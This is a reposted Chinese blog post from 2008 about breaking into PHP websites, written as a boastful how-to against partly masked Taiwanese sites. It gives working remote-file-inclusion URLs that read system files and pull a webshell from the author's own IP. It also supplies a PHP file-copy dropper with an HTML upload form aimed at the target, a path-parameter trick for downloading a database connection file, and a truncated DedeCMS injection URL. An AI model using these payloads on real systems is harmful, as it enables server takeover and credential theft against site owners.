转:入侵php网站就这么简单

2008年11月11日星期二 | | |

   
入侵php网站就这么简单

天上网看到了一个网站的URL,引发了我的无限联想,URL形http://xxx.org.tw/index.php?rurl=page01.php,看等于号后面的那部分,明明就是个php文件嘛,我猜想index.php的作用就是将其他php文件放在它的框架内显示出来。如果我们修改这个URL,也许能做些什么。然后我尝试修改URL,看看它能不能显示出boot.ini,提http://xxx.org.tw/index.php?rurl=c:\boot.ini,成功显示出来了.于是在自己的电脑上开了IIS,将phpspy放到目录里,命名为2.php,注意,我这里是没法解析php文件的,只能将其作为文本文件显示.然后提http://xxx.org.tw/index.php?rurl=http://我的IP/2.php,发现我的phpspy作为网页的一部分显示出来了.

这实际上phpspy还没有存在服务器上,只不过远程包含罢了。形成这种情况的原因是因为index.php里面包含类似于下面的代码:

if ($_GET[page]) {
include $_GET[page];
} else {
include "index.php";
}

没有经过任何的过滤,就将所请求的文件包含进来了,这倒方便了我们拿phpshell。我们可以让其将php的一句话木马包含进来,然后用客户端连接就行了。我这里不用这个方法,换个其他方法,首先将本地的2.php内容写为:

<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

这个的意思就是将指定的文件转存到当前目录下,然后在写一个up.htm,内容如下:
<form ENCTYPE="multipart/form-data" ACTION="http://xxx.org.tw/index.php?rurl=http://我的IP/2.php?" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="提交" TYPE="submit">
</form>

注意里面的网址要填对,然后就可以上传了.然后发现phpshell就是管理员权限.这实际就是远程文件包含漏洞.

在另外一个网站上,我也发现了缺少验证的脚本,虽然不至于让服务器沦陷,但是也泄露了不少信息。这个网站提供一些文件的下载,下载的URL形如http://www.xxx.org.tw/download.php?file=admin/……,
之后我就顺利地暴出了数据库连接文件的路径,修改URL,尝试下载数据库连接文件,成功了.


这两个漏洞的共同点都是为对用户提交进行限制.而且都是个人写的东西

From: http://hi.baidu.com/hac_ker/blog/item/bc8042f41fb740dcf2d38590.html

我的QQ空间
dede bug
dede bug /plus/infosearch.php?action=search&q=%cf'%2...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]